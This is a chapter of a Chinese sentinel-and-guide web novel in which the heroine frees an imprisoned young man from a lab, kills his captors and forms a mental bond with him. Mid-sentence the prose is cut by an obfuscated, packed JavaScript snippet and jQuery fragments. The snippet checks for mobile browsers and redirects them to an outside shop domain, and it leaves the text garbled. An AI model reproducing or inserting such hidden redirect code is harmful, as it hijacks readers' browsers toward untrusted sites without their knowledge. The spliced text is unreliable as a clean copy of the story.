可柳钰从来不是‘反派’,他是受害者。
时筠翻回最开始的剧情,再三确认,她现在完全能压制住压制住柳钰后,毫不犹豫地按下了第一个选项。
系统弹出提示:确认or返回
时筠面无表情,确认。
她从来不是什么喜欢乱发善心的圣母,但她的成长环境不容许她对于拐卖儿童视若无睹,更不容许她袖手旁观。
她已经知道门后那些有着微弱呼吸的怪物是什么了,是一群寄生虫。
一群寄生在柳钰身上吸血的水蛭。
最后一道禁制被打开,呈现在时筠面前的是数十个散发着微弱光芒的茧,这些茧的身上连接着一根管子,像是一根根‘脐带’,通往最后面那个巨大的培养皿。
那个地图画面中的少年已经成长成了一个成年的男性,绿色的溶液中,他的头发几乎长过脚踝,如同水母的触须,在培养皿中无序的浮动着。
那些管子,每一根都链接在他的身上,汩汩的往外输送着他的血液,精神力,还是什么更加重要的东西,时筠不知道,也根本失去了思考的能力,她的耳边嗡鸣声一片。
不同的场景,熟悉的既视感。
血色蔓延上时筠的双眼,她感觉到自己的暴怒已经冲破她的理智。
不用借助多余的工具,绿色藤蔓上的叶子化作飞刃一个个斩断那些‘脐带’,瞬间便响起此起彼伏的警报声,红色的灯光一闪一闪,时筠却根本不在乎。
破开那些茧,里面的人接二连三的醒过来,他们先是迷茫,而后是强行切断营养供给的痛苦,已经成型的精神图景寸寸崩塌,来自灵魂的痛楚足够的撕心裂肺。
最后是愤怒。
他们对罪魁祸首怒目而视,却早已失去反抗能力。
时筠踏步前行,没用精神力,也没用异能,她手中的老式连发手枪百发百中。
一个,两个。
有人反映过来开始求饶,他们扯断链接的仪器,顾不上鲜血飞溅,跪地求饶。
但时筠怎么能放过他们呢?
他们所有人都该死。
培养皿里的青年感受到不再流失的力量,睁开眼,灰色的瞳孔静静的注视着已经浑身沾满鲜血的时筠,疑惑的歪了歪头。
他身上链接的那些管子,跟随他的动作晃了晃,残留在管子里的东西滴答滴答落在地上。
迎着他的目光,时筠扯出一个比哭还要难看的笑容。
“我带你离开这里。”
时筠已经恢复冷静,肾上腺素却还在发挥着余威,步伐凌乱的走向操作台,她一眼看见那个被透明的罩子罩起来的红色按钮,不止罩起来还上了锁,按钮上用红色加粗的字体标着:RELEASE。
她感觉自己刚刚冷静下去的肾上腺素又沸腾了,走的时候她非把这一把火烧了。
一拳砸碎罩子,她抿唇按下那个代表着释放囚犯的按钮。
身后的容器开始工作,绿色的溶液消失不见,少年踉跄着稳住身体,他似乎对脚踏实地的感觉很陌生。
直到面前的玻璃完全打开,他才好像真的醒了过来。
那些绿色的溶液除了为他提供基础的营养,还有一点就是麻痹他的神经压制他的能力。
早在之前的日子他就意识到自己又觉醒了一些特殊的能力,可这些溶液让他完全无法思考,只有溶液浓度降低,将要补充新溶液的空隙,他才能拥有半刻的思考能力。
如果不是那个女人,等到溶液浓度再次降低的时候他就能自己离开这里。
她似乎很,可怜他?
在他有限的清醒时间,他前段时间才听到有人对他说出过这个词语。
所以,她到底知不知道自己放出来的是个什么人?
一个弱小的,无辜的,等待被救赎的可怜人?
麻痹感逐渐消退,首先恢复的不是行动能力,而是视觉。
雾蒙蒙的景象逐渐清晰,柳钰歪头看向朝自己奔来的女人。
素白的脸庞上沾染上斑斑血迹,像是雪地中盛开的玫瑰。
纤细的眉头紧紧蹙在一起,仿佛下一刻就要扭断。
那双桃花一样的眼睛里盛满担忧,纤长浓密的睫毛随着眨眼颤动。
左眼下有一颗不起眼的小痣,半咬下唇,纤细的脖颈毫无防备的暴露在他面前。
黑色的作战服衣袖撸上去半截,紧紧箍在小臂中间,随着她的动作,显出好看的肌肉线条。
看着看着,柳钰胸中积蓄的异能像是配戳破的泡泡,噗的一下消散。
她正弓着身子研究他身上的设备,嘴里不自觉地嘟囔着什么。
随之恢复的是听觉,一片嗡鸣中,她的声音像潺潺涓流:“你痛不痛?”
柳钰缓慢的眨眨眼睛,有些提不起攻击的想法。
时筠鼓弄着手里的管子,一路拆解,找到了最终的源头,这些东西根本不是贴在柳钰的身上的,他们甚至连个类似输液港的东西都不愿意搞,生生的将这些设备埋进他的血管里,缝合在皮肉上。
于是柳钰再一次看到了她眼中的愤怒,如同熊熊的火焰,带着灼人的热度,在他的胸口中燃烧。
好美。
咚——咚——柳钰清晰的听到自己的心停跳了一拍。
他抬起手,扯掉胸前的设备,连带着皮肉一起。
时筠没来得及阻止,眼睁睁看着他单薄的胸膛留下碗口大的血窟窿。
她眼皮猛地狂跳两下,钳住柳钰的双手,防止他再做出什么伤害自己的事。
“不痛。”少年话语中带着几分生涩,声线也有些暗哑,明显是很久没有开口说过话。
时筠又气又无奈,也顾不得什么暴露不暴露,直接从空间中取出灵泉水倒在柳钰的伤口上。
伤口以肉眼可见的速度在愈合,新生血肉时胸口泛起淡淡的痒意,柳钰下意识想要抬手去抓,被时筠眼疾手快的拦住:“别动。”
几分钟后,伤口彻底愈合结痂,红褐色的痂壳脱落,皮肤光洁如新,看不出半点受过伤的样子。
这里实在太冷了,两个人说话时都能看见哈气,时筠不再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939994|213883||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
耽搁,飞快用毛巾给他全身上下都擦干净,又给他套上衣服。
做出救下柳钰的决定时,时筠根本没有想那么多,但现在尘埃落定,她才开始为怎么安顿柳钰而发愁。
柳钰不是寻常的哨兵,而且从小生长在这么恶劣的环境中,受教育程度基本为零,生活常识贫瘠的可怜,生存能力更是几近于无。
就连剧情中所描写的那个大反派形象,在最开始的时候也是一个破坏力强大,但亦正亦邪的形象。
由不得时筠多做打算,长时间联系不上的沈宴等人已经顺着她最后的位置坐标找了过来。
时筠不能放任柳钰离开,她必须想办法将柳钰留在她的眼皮子底下,防止他成为剧情中的反派。
外面传来的脚步声近在咫尺,时筠决定临时标记柳钰,让他暂时成为自己的专属哨兵。
少年身形单薄但身高却不矮,那些绿色溶液提供的营养好像都用来长个了。
柳钰甚至比172的时筠还要高出快一个头,时筠拉住他的手,迫使他微微低头,自己则是踮起脚,两人额头相抵,时筠闭上眼,沉入自己的精神图景。
她磕磕绊绊的按照看过的《向导指南》里的描述,调动自己的精神力顺着两人精神图景的连接处进入柳钰的精神图景。
“好冷啊,这里怎么是一片虚无?”脑海中,白玉兰震惊又疑惑的声音响起。
柳钰的精神图景与正常哨兵不同,他因为没有精神体,所以精神图景中只有无尽的黑暗和虚无,白玉兰淡金色的本体就是这方世界的唯一光源。
可时筠却皱了皱眉,她为什么会在这里感受到一抹熟悉的气息?
她加大精神力的输送,爆发处一阵耀眼的光芒,白玉兰这才疑惑的发出一声:“诶?”
这里并不只是一片虚无,无边的黑色在精神力的照耀下像是天空中翻滚的黑云,只在边缘翻出一缕一缕的痕迹。
时筠遵从自己的直觉往深处走去,灰黑色的云逐渐变成浓黑色,一片模糊的雾气中隐约可见几道雷光闪过。
她闭上眼睛,白玉兰化作一条枝桠留在她的手中,一朵朵盛开的玉兰花散发着浓郁的异香,这简直对哨兵有着致命的吸引力。
隐藏在雾气中的东西显然也被迷惑,不经意间露出些许马脚。
时筠敏锐的捕捉到一闪而过的景象。
长条形的身体,头上长角,还有爪子,黑色的鳞片在偶尔的雷光里映出莹润的质地。
是在现世跟她一起同归于尽的那条黑蛟。
时筠绝不会认错。
未等时筠有所动作,那条黑蛟却已经按捺不住,借着乌云的掩盖迅速的吞掉了一朵玉兰花。
相比于在现世完全失去理智的模样,现在的黑蛟才更像是镇守一方水域的瑞兽。
难道它就是柳钰的精神体?
白玉兰的动作回应了时筠的猜测。
只见它再次化为完整的玉兰树,莹润的花瓣铺就成一条指引方向的绸带,体型庞大的黑蛟顺着这条绸带一路来到了时筠的精神图景中。